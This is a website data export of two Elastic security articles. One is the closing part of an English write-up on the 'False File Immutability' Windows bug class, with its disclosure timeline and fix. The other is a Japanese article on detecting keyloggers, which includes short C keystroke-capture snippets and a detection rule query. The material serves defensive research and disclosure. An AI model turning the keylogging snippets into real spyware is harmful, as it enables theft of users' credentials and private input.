\",(0,i.jsx)(e.strong,{children:\"ExAllocatePool\"}),\" mitigation described above, the exploit is mitigated because file changes have no effect on the heap copy.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The probabilistic nature of this attack means that there are likely many failed attempts. Windows records these failures in the \",(0,i.jsx)(e.strong,{children:\"Microsoft-Windows-CodeIntegrity/Operational\"}),\" event log. Users can check this log for evidence of exploitation.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image23.png\",alt:\"Microsoft-Windows-CodeIntegrity/Operational event log showing an invalid driver signature\",width:\"626\",height:\"438\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image4.png\",alt:\"Microsoft-Windows-CodeIntegrity/Operational event log showing an invalid security catalog\",width:\"626\",height:\"438\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"disclosure\",children:\"Disclosure\"}),`\n`,(0,i.jsx)(e.p,{children:\"The disclosure timeline is as follows:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"2024-02-14: We reported ItsNotASecurityBoundary and FineButWeCanStillEasilyStopIt to MSRC as VULN-119340, suggesting \",(0,i.jsx)(e.strong,{children:\"ExAllocatePool\"}),\" and \",(0,i.jsx)(e.strong,{children:\"MmProbeAndLockPages\"}),\" as simple low-risk fixes\"]}),`\n`,(0,i.jsx)(e.li,{children:\"2024-02-29: The Windows Defender team reached out to coordinate disclosure\"}),`\n`,(0,i.jsxs)(e.li,{children:[\"2024-04-23: Microsoft releases \",(0,i.jsx)(e.a,{href:\"https://support.microsoft.com/en-us/topic/april-23-2024-kb5036980-os-builds-22621-3527-and-22631-3527-preview-5a0d6c49-e42e-4eb4-8541-33a7139281ed\",rel:\"nofollow\",children:\"KB5036980\"}),\" Preview with the \",(0,i.jsx)(e.strong,{children:\"MmProbeAndLockPages\"}),\" fix\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"2024-05-14: Fix reaches GA for Windows 11 23H2 as \",(0,i.jsx)(e.a,{href:\"https://support.microsoft.com/en-us/topic/may-14-2024-kb5037771-os-builds-22621-3593-and-22631-3593-e633ff2f-a021-4abb-bd2e-7f3687f166fe\",rel:\"nofollow\",children:\"KB5037771\"}),\"; we have not tested any other platforms (Win10, Server, etc).\"]}),`\n`,(0,i.jsx)(e.li,{children:`2024-06-14: MSRC closed the case, stating \"We have completed our investigation and determined that the case doesn't meet our bar for servicing at this time. As a result, we have opened a next-version candidate bug for the issue, and it will be evaluated for upcoming releases. Thanks, again, for sharing this report with us.\"`}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"fixing-code-integrity\",children:\"Fixing Code Integrity\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Looking at the original implementation of \",(0,i.jsx)(e.strong,{children:\"CI!I_MapAndSizeDataFile\"}),\", we can see the legacy code calling \",(0,i.jsx)(e.strong,{children:\"ZwCreateSection\"}),\" and \",(0,i.jsx)(e.strong,{children:\"ZwMapViewOfSection\"}),\":\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image22.png\",alt:\"The vulnerable CI!I_MapAndSizeDataFile implementation\",width:\"682\",height:\"556\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Contrast that with the new \",(0,i.jsx)(e.strong,{children:\"CI!CipMapAndSizeDataFileWithMDL\"}),\", which follows that up with \",(0,i.jsx)(e.strong,{children:\"MmProbeAndLockPages\"}),\":\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image3.png\",alt:\"The new CI!CipMapAndSizeDataFileWithMDL has a mitigation\",width:\"394\",height:\"501\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"summary-and-conclusion\",children:\"Summary and conclusion\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Today we discussed and named a bug class: \",(0,i.jsx)(e.strong,{children:\"False File Immutability\"}),\". We are aware of two public exploits that leverage it, PPLFault and ItsNotASecurityBoundary.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://github.com/gabriellandau/PPLFault\",rel:\"nofollow\",children:\"PPLFault\"}),\": Admin -\u003e PPL [-\u003e Kernel via GodFault]\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Exploits bad immutability assumptions about image section in CI/MM\"}),`\n`,(0,i.jsx)(e.li,{children:\"Reported September 2022\"}),`\n`,(0,i.jsx)(e.li,{children:\"Patched February 2024 (~510 days later)\"}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://github.com/gabriellandau/ItsNotASecurityBoundary\",rel:\"nofollow\",children:\"ItsNotASecurityBoundary\"}),\": Admin -\u003e Kernel\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Exploits bad immutability assumptions about data sections in CI\"}),`\n`,(0,i.jsx)(e.li,{children:\"Reported February 2024\"}),`\n`,(0,i.jsx)(e.li,{children:\"Patched May 2024 (~90 days later)\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"If you are writing Windows code that operates on files, you need to be aware of the fact these files may be modified while you are working on them, even if you deny write sharing. See the Affected Operations section above for guidance on how to protect yourselves and your customers against these types of attacks.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"ItsNotASecurityBoundary is not the end of FFI. There are other exploitable FFI vulnerabilities out there. My colleagues and I at Elastic Security Labs will continue exploring and reporting on FFI and beyond. We encourage you to follow along on X \",(0,i.jsx)(e.a,{href:\"https://x.com/GabrielLandau\",rel:\"nofollow\",children:\"@GabrielLandau\"}),\" and \",(0,i.jsx)(e.a,{href:\"https://x.com/elasticseclabs\",rel:\"nofollow\",children:\"@ElasticSecLabs\"}),\".\"]})]})}function k(t={}){let{wrapper:e}=t.components||{};return e?(0,i.jsx)(e,Object.assign({},t,{children:(0,i.jsx)(h,t)})):h(t)}var I=k;return b(P);})();\n;return Component;"},"_id":"articles/false-file-immutability.mdx","_raw":{"sourceFilePath":"articles/false-file-immutability.mdx","sourceFileName":"false-file-immutability.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/false-file-immutability"},"type":"Article","imageUrl":"/assets/images/false-file-immutability/Security Labs Images 36.jpg","readingTime":"28 min read","series":"","url":"/false-file-immutability","headings":[{"level":2,"title":"Introduction","href":"#introduction"},{"level":2,"title":"Windows file sharing","href":"#windows-file-sharing"},{"level":3,"title":"Sharing enforcement","href":"#sharing-enforcement"},{"level":2,"title":"Authenticode","href":"#authenticode"},{"level":3,"title":"Code integrity","href":"#code-integrity"},{"level":2,"title":"Incorrect assumptions","href":"#incorrect-assumptions"},{"level":3,"title":"Page hashes","href":"#page-hashes"},{"level":2,"title":"Attacking code integrity","href":"#attacking-code-integrity"},{"level":3,"title":"Paging exploitation","href":"#paging-exploitation"},{"level":2,"title":"New research","href":"#new-research"},{"level":3,"title":"Planning the attack","href":"#planning-the-attack"},{"level":3,"title":"Implementation and considerations","href":"#implementation-and-considerations"},{"level":3,"title":"Exploit demo","href":"#exploit-demo"},{"level":2,"title":"Understanding these vulnerabilities","href":"#understanding-these-vulnerabilities"},{"level":3,"title":"Affected Operations","href":"#affected-operations"},{"level":3,"title":"What else could be vulnerable?","href":"#what-else-could-be-vulnerable"},{"level":3,"title":"Don’t forget about user mode","href":"#dont-forget-about-user-mode"},{"level":4,"title":"MapViewOfFile","href":"#mapviewoffile"},{"level":4,"title":"ReadFile","href":"#readfile"},{"level":4,"title":"LoadLibrary","href":"#loadlibrary"},{"level":2,"title":"Stopping the exploit","href":"#stopping-the-exploit"},{"level":3,"title":"End-user detection and mitigation","href":"#end-user-detection-and-mitigation"},{"level":2,"title":"Disclosure","href":"#disclosure"},{"level":2,"title":"Fixing Code Integrity","href":"#fixing-code-integrity"},{"level":2,"title":"Summary and conclusion","href":"#summary-and-conclusion"}],"author":[{"title":"Gabriel Landau","slug":"gabriel-landau","description":"Principal Software Engineer II, Elastic","image":"gabriel-landau.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var g=Object.create;var i=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var x=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var p=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of d(e))!f.call(t,r)\u0026\u0026r!==n\u0026\u0026i(t,r,{get:()=\u003ee[r],enumerable:!(o=m(e,r))||o.enumerable});return t};var _=(t,e,n)=\u003e(n=t!=null?g(x(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),b=t=\u003es(i({},\"__esModule\",{value:!0}),t);var l=p((F,c)=\u003e{c.exports=_jsx_runtime});var D={};j(D,{default:()=\u003eC,frontmatter:()=\u003eM});var a=_(l()),M={title:\"Gabriel Landau\",description:\"Principal Software Engineer II, Elastic\",image:\"gabriel-landau.jpg\",slug:\"gabriel-landau\"};function u(t){return(0,a.jsx)(a.Fragment,{})}function w(t={}){let{wrapper:e}=t.components||{};return e?(0,a.jsx)(e,Object.assign({},t,{children:(0,a.jsx)(u,t)})):u(t)}var C=w;return b(D);})();\n;return Component;"},"_id":"authors/gabriel-landau.mdx","_raw":{"sourceFilePath":"authors/gabriel-landau.mdx","sourceFileName":"gabriel-landau.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/gabriel-landau"},"type":"Author","imageUrl":"/assets/images/authors/gabriel-landau.jpg","url":"/authors/gabriel-landau"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Vulnerability updates","slug":"vulnerability-updates","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var o=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,p=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)o(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of d(e))!p.call(t,a)\u0026\u0026a!==n\u0026\u0026o(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(f(t)):{},u(e||!t||!t.__esModule?o(n,\"default\",{value:t,enumerable:!0}):n,t)),b=t=\u003eu(o({},\"__esModule\",{value:!0}),t);var c=_((X,i)=\u003e{i.exports=_jsx_runtime});var D={};g(D,{default:()=\u003eC,frontmatter:()=\u003ey});var r=j(c()),y={title:\"Vulnerability updates\",slug:\"vulnerability-updates\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var C=M;return b(D);})();\n;return Component;"},"_id":"categories/vulnerability-updates.mdx","_raw":{"sourceFilePath":"categories/vulnerability-updates.mdx","sourceFileName":"vulnerability-updates.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/vulnerability-updates"},"type":"Category","url":"/categories/vulnerability-updates"}]},{"title":"情報窃取から端末を守る","slug":"protecting-your-devices-from-information-theft-keylogger-protection-jp","date":"2024-05-30","description":"本記事ではElastic Securityにおいて、エンドポイント保護を担っているElastic Defendに今年(バージョン8.12より)新たに追加された、キーロガーおよびキーロギング検出機能について紹介します。","image":"Security Labs Images 10.jpg","subtitle":"Windows APIの挙動を用いたキーロガー検知","tags":["detection engineering","threat hunting","threat detection"],"body":{"raw":"\n本記事ではElastic Securityにおいて、エンドポイント保護を担っているElastic Defendに今年(バージョン[8.12](https://www.elastic.co/guide/en/security/8.12/release-notes-header-8.12.0.html#enhancements-8.12.0)より)新たに追加された、キーロガーおよびキーロギング検出機能について紹介します。\n\n## はじめに\n\nElastic Defend 8.12より、Windows上で動作するキーロガーおよび、キーロギング機能を備えたマルウェア(情報窃取型マルウェアや、リモートアクセス型トロイの木馬、通称RAT)の検知の強化を目的に、キーロガーが使用する代表的なWindows API群の呼び出しを監視・記録する機能が追加されました。本記事ではこの新機能に焦点を当て、その技術的な詳細を解説します。加えて、本機能に付随して新たに作成された振る舞い検知ルール(Prebuilt rule)についても紹介します。\n\n### キーロガーとはなにか?どのような危険性があるのか?\n\nキーロガーとは、コンピュータ上で入力されたキーの内容を監視および記録(キーロギング)するソフトウェアの一種です(※1)。キーロガーは、ユーザのモニタリングなどの正当な理由で利用されることもありますが、攻撃者によって頻繁に悪用されるソフトウェアです。具体的には、ユーザがキーボード経由で入力した認証情報やクレジットカード情報、各種機密情報などのセンシティブな情報の窃取などに際に使われます。(※1: パソコンにUSB等で直接取り付けるようなハードウェア型のキーロガーもありますが、本記事ではソフトウェア型のキーロガーに焦点を当てます。)\n\nキーロガーを通じて入手したセンシティブな情報は、金銭の窃取やさらなるサイバー攻撃の足がかりに悪用されます。それゆえに、キーロギング行為自体は直接的にコンピュータに被害をおよばさないものの、続くサイバー攻撃の被害を食い止めるためにも、早期の検知が非常に重要だと言えます。\n\nキーロギング機能を持つマルウェアは多々あり、特にRAT、情報窃取型マルウェア、バンキングマルウェアといった種類のマルウェアにキーロギング機能が搭載されている場合があることが確認されています。有名なマルウェアでキーロギング機能を有するものとしては[Agent Tesla](https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla)や[Lokibit](https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot)、そして[SnakeKeylogger](https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger)などが挙げられます。\n\n### いかにして入力した文字を盗み取っているのか?\n\nでは次に、キーロガーはいかにしてユーザがキーボードから入力した文字を、ユーザに気づかれること無く盗み取っているのかを、技術的な観点から説明していきます。キーロガー自体は、あらゆるOS環境(Windows/Linux/macOSやモバイルデバイス)で存在しうるものではありますが、本記事ではWindowsのキーロガーに焦点を絞って解説します。特にWindows APIや機能を使用してキー入力を取得する4つの異なるタイプのキーロガーについて解説します。\n\n一点補足としては、ここでキーロギングの手法について説明しているのは、あくまで本記事後半で紹介している、新しい検知機能についての理解を深めていただくためです。そのため、例として掲載しているコードはあくまで単なる例であり、実際にそのまま動くコードが掲載されている訳ではありません(※3)。\n\n(※2: Windows上で動作するキーロガーは、カーネル空間(OS)側に設置されるものと、通常のアプリケーションと同じ領域(ユーザ空間)に設置されるものに大別されます。本記事では、後者のタイプを取り上げます。 )\n(※3: 以下に掲載されている例のコードを元にキーロガーを作成し悪用した場合、弊社では対応、および、責任について負いかねます 。)\n\n 1. ポーリング型キーロガー\n \nこのタイプのキーロガーは、キーボードの各キーの状態(キーが押された否か)を短い間隔(1秒よりはるかに短い間隔)で定期的に確認します。そして前回の確認以降に、新たに押されたキーがあることが判明した場合、その押されたキーの文字の情報を記録・保存します。この一連の流れを繰り返すことで、キーロガーは、ユーザが入力した文字列の情報を取得しているのです。\n\nポーリング型のキーロガーは、キーの入力状態をチェックするWindowsのAPIを利用して実装されており、代表的には [```GetAsyncKeyState```](https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-getasynckeystate) APIが利用されます。このAPIは、特定のキーが現在押されているか否かに加えて、その特定のキーが前回のAPI呼び出し以降押されたか否かの情報を取得することが出来ます。以下が```GetAsyncKeyState``` APIを使ったポーリング型キーロガーの簡単な例です。\n\n``` C\nwhile(true)\n{\n for (int key = 1; key \u003c= 255; key++)\n {\n if (GetAsyncKeyState(key) \u0026 0x01)\n {\n SaveTheKey(key, \"log.txt\");\n }\n }\n Sleep(50);\n}\n```\n\nポーリング(```GetAsyncKeyState```)を用いてキー押下状態を取得する手法は、古くから存在する典型的なキーロギングの手法として知られているだけでなく、今でもマルウェアによって使われていることが確認されています。\n \n 2. フッキング型キーロガー\n \nフッキング型キーロガーは、ポーリング型キーロガーと同じく、古くから存在する典型的な種類のキーロガーです。ここではまず「そもそもフックとは何か?」について説明します。\n\nフックとは大雑把に言うと「アプリケーションの特定の処理に、独自の処理を割り込ませる仕組み」のことを指す言葉です。そして、フックを使って独自の処理を割り込ませることを「フックする」とも言います。Windowsでは、アプリケーションに対するキー入力などのメッセージ(イベント)をフックすることが出来る仕組みが用意されており、この仕組みは[SetWindowsHookEx](https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-setwindowshookexa) APIを通じて利用することが出来ます。以下が```SetWindowsHookEx``` APIを使ったポーリング型キーロガーの簡単な例です。\n\n``` C\nHMODULE hHookLibrary = LoadLibraryW(L\"hook.dll\");\nFARPROC hookFunc = GetProcAddress(hHookLibrary, \"SaveTheKey\");\n\nHHOOK keyboardHook = NULL;\n \nkeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,\n (HOOKPROC)hookFunc,\n hHookLibrary,\n 0);\n```\n\n 3. Raw Input Modelを用いたキーロガー\n \nこのタイプのキーロガーは、キーボードなどの入力デバイスから得られた、生の入力データ(Raw Input)を取得し、それを保存・記録します。このキーロガーの詳細について説明する前に、まずWindowsにおける入力方式である「Original Input Model」と「Raw Input Model」について理解する必要があります。以下がそれぞれの入力方式についての説明です。\n\n - **Original Input Model**: キーボードなどの入力デバイスから入力されたデータを、一度OSを介して必要な処理をした後、アプリケーション側に届ける方式\n - **Raw Input Model**: キーボードなどの入力デバイスから入力されたデータを、そのままアプリケーション側が直接受け取る方式\n\nWindowsでは当初、Original Input Modelのみが使われていました。しかしWindows XP以降に、おそらくは入力デバイスの多様化などの要因から、Raw Input Modelが導入されました。Raw Input Modelでは、[```RegisterRawInputDevices```](https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-registerrawinputdevices) APIを使い、入力データを直接受け取りたい入力デバイスを登録します。そしてその後、[```GetRawInputData```](https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-getrawinputdata)) APIを用いて生データを取得します。\n以下がこれらのAPIを使った、Raw Input Modelを用いたキーロガーの簡単な例です。\n\n``` C\nLRESULT CALLBACK WndProc(HWND hWnd, UINT uMessage, WPARAM wParam, LPARAM lParam)\n{\n\n UINT dwSize = 0;\n RAWINPUT* buffer = NULL;\n\n switch (uMessage)\n {\n case WM_CREATE:\n RAWINPUTDEVICE rid;\n rid.usUsagePage = 0x01; // HID_USAGE_PAGE_GENERIC\n rid.usUsage = 0x06; // HID_USAGE_GENERIC_KEYBOARD\n rid.dwFlags = RIDEV_NOLEGACY | RIDEV_INPUTSINK;\n rid.hwndTarget = hWnd;\n RegisterRawInputDevices(\u0026rid, 1, sizeof(rid));\n break;\n case WM_INPUT:\n GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL,\n\u0026dwSize, sizeof(RAWINPUTHEADER));\n\n buffer = (RAWINPUT*)HeapAlloc(GetProcessHeap(), 0, dwSize);\n\n if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, buffer, \n\u0026dwSize, sizeof(RAWINPUTHEADER)))\n {\n if (buffer-\u003eheader.dwType == RIM_TYPEKEYBOARD)\n {\n SaveTheKey(buffer, \"log.txt\");\n }\n }\n HeapFree(GetProcessHeap(), 0, buffer);\n break;\n default:\n return DefWindowProc(hWnd, uMessage, wParam, lParam);\n }\n return 0;\n}\n```\n\nこの例では、最初に生入力を受け取りたい入力デバイスを```RegisterRawInputDevices```を用いて、登録します。ここでは、キーボードの生入力データを受け取るように設定・登録しています。\n\n 4. ```DirectInput```を用いたキーロガー\n \n最後に、```DirectInput```を用いたキーロガーについて説明します。このキーロガーは簡単に言えばMicrosoft DirectXの機能を悪用したキーロガーです。DirectXとは、ゲームや動画などのマルチメディア関連の処理を扱うためのAPI群の総称(ライブラリ)です。\n\nゲームにおいて、ユーザから各種入力が取得できることは必須機能と言って良いことから、DirectXにおいてもユーザの入力を処理するAPI群が提供されています。そして、DirectXのバージョン8以前に提供されていたそれらAPI群のことを「DirectInput」と呼びます。以下が```DirectInput```に関連するAPIを使ったキーロガーの簡単な例です。補足ですが、```DirectInput```を用いてキーを取得する際、裏では```RegisterRawInputDevices``` APIが呼ばれています。\n\n``` C\nLPDIRECTINPUT8\t\tlpDI = NULL;\nLPDIRECTINPUTDEVICE8\tlpKeyboard = NULL;\n\nBYTE key[256];\nZeroMemory(key, sizeof(key));\n\nDirectInput8Create(hInstance, DIRECTINPUT_VERSION, IID_IDirectInput8, (LPVOID*)\u0026lpDI, NULL);\nlpDI-\u003eCreateDevice(GUID_SysKeyboard, \u0026lpKeyboard, NULL);\nlpKeyboard-\u003eSetDataFormat(\u0026c_dfDIKeyboard);\nlpKeyboard-\u003eSetCooperativeLevel(hwndMain, DISCL_FOREGROUND | DISCL_NONEXCLUSIVE | DISCL_NOWINKEY);\n\nwhile(true)\n{\n HRESULT ret = lpKeyboard-\u003eGetDeviceState(sizeof(key), key);\n if (FAILED(ret)) {\n lpKeyboard-\u003eAcquire();\n lpKeyboard-\u003eGetDeviceState(sizeof(key), key);\n }\n SaveTheKey(key, \"log.txt\");\t\n Sleep(50);\n}\n```\n\n## Windows API呼び出しを監視してキーロガーを検出する\n\nElastic Defendでは、Event Tracing for Windows (ETW ※4)を用いて、前述の種類のキーロガーを検知しています。具体的には、関連するWindows API群の呼び出しを監視し、その挙動のログを取得することで実現しています。監視するWindows API群と、付随して新規に作成したキーロガーの検知ルールは以下です。(※4 一言でいうとWindowsが提供する、アプリケーションやデバイスドライバなどのシステム側のコンポーネントを、トレースおよびロギングする仕組み。)\n\n### 監視するWindows API群:\n\n - [GetAsyncKeyState](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate)\n - [SetWindowsHookEx](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexw)\n - [RegisterRawInputDevice](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-registerrawinputdevices)\n\n### 追加したキーロガー検知ルール一覧:\n\n - [GetAsyncKeyState API Call from Suspicious Process](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_getasynckeystate_api_call_from_suspicious_process.toml)\n - [GetAsyncKeyState API Call from Unusual Process](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_getasynckeystate_api_call_from_unusual_process.toml)\n - [Keystroke Input Capture via DirectInput](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystroke_input_capture_via_directinput.toml)\n - [Keystroke Input Capture via RegisterRawInputDevices](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystroke_input_capture_via_registerrawinputdevices.toml)\n - [Keystroke Messages Hooking via SetWindowsHookEx](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystroke_messages_hooking_via_setwindowshookex.toml)\n - [Keystrokes Input Capture from a Managed Application](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_from_a_managed_application.toml)\n - [Keystrokes Input Capture from a Suspicious Module](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_from_a_suspicious_module.toml)\n - [Keystrokes Input Capture from Suspicious CallStack](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_from_suspicious_callstack.toml)\n - [Keystrokes Input Capture from Unsigned DLL](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_from_unsigned_dll.toml)\n - [Keystrokes Input Capture via SetWindowsHookEx](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_via_setwindowshookex.toml)\n\n新規に追加した機能および検知ルールにより、Elastic Defendにてキーロガー・キーロギングの包括的な監視と検出が可能となり、これらの脅威に対するWindowsエンドポイントのセキュリティと保護の強化を実現しました。\n\n### Windowsのキーロガーを検知する\n\n次に実際の検知の様子をお見せします。例として、Raw Input Modelを用いたキーロガーをElastic Defendで検出してみます。ここでは```RegisterRawInputDevices``` APIを用いた簡易的なキーロガー「Keylogger.exe」を用意し、テスト環境で実行してみました※5。(※5 実行環境はWindows 10の執筆時点の最新版であるWindows 10 Version 22H2 19045.4412です。)\n\n\n\nキーロガーを実行した直後に、検知ルール([Keystroke Input Capture via ```RegisterRawInputDevices```](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystroke_input_capture_via_registerrawinputdevices.toml))が発動し、エンドポイント側でアラートが上がりました。このアラートのさらなる詳細はKibana上から見ることが出来ます。\n\n\n\n以下が検知ルールの詳細です。検知に使われているAPIの部分を中心に説明します。\n\n``` sql\nquery = '''\napi where\n process.Ext.api.name == \"RegisterRawInputDevices\" and not process.code_signature.status : \"trusted\" and\n process.Ext.api.parameters.usage : (\"HID_USAGE_GENERIC_KEYBOARD\", \"KEYBOARD\") and\n process.Ext.api.parameters.flags : \"*INPUTSINK*\" and process.thread.Ext.call_stack_summary : \"?*\" and\n process.thread.Ext.call_stack_final_user_module.hash.sha256 != null and process.executable != null and\n not process.thread.Ext.call_stack_final_user_module.path :\n (\"*\\\\program files*\", \"*\\\\windows\\\\system32\\\\*\", \"*\\\\windows\\\\syswow64\\\\*\",\n \"*\\\\windows\\\\systemapps\\\\*\",\n \"*\\\\users\\\\*\\\\appdata\\\\local\\\\*\\\\kumospace.exe\",\n \"*\\\\users\\\\*\\\\appdata\\\\local\\\\microsoft\\\\teams\\\\current\\\\teams.exe\") and \n not process.executable : (\"?:\\\\Program Files\\\\*.exe\", \"?:\\\\Program Files (x86)\\\\*.exe\")\n'''\n```\n\nこのアラートは簡単に言うと「署名されていないプロセス」または「署名されているが、その署名者が信頼できないプロセス」が、キー入力を取得する目的で```RegisterRawInputDevices``` APIを呼び出した時に発せられるアラートです。```RegisterRawInputDevices``` APIが呼び出された際の引数の情報に着目しており、より具体的にはAPIの第一引数である、[RAWINPUTDEVICE](https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/ns-winuser-rawinputdevice)構造体のメンバの情報を検知に用いています。\n\nこの引数の値が、キーボード入力の取得を試みていることを示している場合、キーロガーが実行されたと見なして、アラートを上げるようになっています。 ```RegisterRawInputDevices``` APIのログはKibana上でも確認できます。\n\n\n\n### 各Windows APIの呼び出しの際に取得しているデータ\n\n分量の都合で、追加したすべての検知ルールとAPIの詳細については本記事では説明しません。ですが最後に、対象のWindows APIの呼び出しの際にElastic Defend側で取得しているデータについて、簡単にご紹介します。各項目についてさらに知りたい方は、[custom_api.yml](https://github.com/elastic/endpoint-package/blob/main/custom_schemas/custom_api.yml)に記載されているElastic Common Schema(ECS)とのマッピングをご参照ください。\n\n| API名 | フィールド | 説明(原文を日本語訳したもの) | 例 |\n| --- | --- | --- | --- |\n| GetAsyncKeyState | process.Ext.api.metadata.ms_since_last_keyevent | このパラメーターは、最後の GetAsyncKeyState イベントからの経過時間をミリ秒で示します。 | 94 |\n| GetAsyncKeyState | process.Ext.api.metadata.background_callcount | このパラメーターは、最後に成功した GetAsyncKeyState 呼び出しからの間に行われた、失敗した呼び出しも含めたすべての GetAsyncKeyState API 呼び出しの回数を示します。 | 6021 |\n| SetWindowsHookEx | process.Ext.api.parameters.hook_type | Tインストールするフックの種類 | \"WH_KEYBOARD_LL\"\n| SetWindowsHookEx | process.Ext.api.parameters.hook_module | フック先の処理を保有するDLL | \"c:\\\\windows\\\\system32\\\\taskbar.dll\"\n| SetWindowsHookEx | process.Ext.api.parameters.procedure | フック先となる処理や関数のメモリアドレス | 2431737462784 |\n| SetWindowsHookEx | process.Ext.api.metadata.procedure_symbol | フック先の処理の要約 | \"taskbar.dll\" |\n| RegisterRawInputDevices | process.Ext.api.metadata.return_value | RegisterRawInputDevices API 呼び出しの戻り値 | 1 |\n| RegisterRawInputDevices | process.Ext.api.parameters.usage_page | このパラメーターはデバイスのトップレベルコレクション(Usage Page)を示す。RAWINPUTDEVICE 構造体の最初のメンバ | \"GENERIC\" |\n| RegisterRawInputDevices | 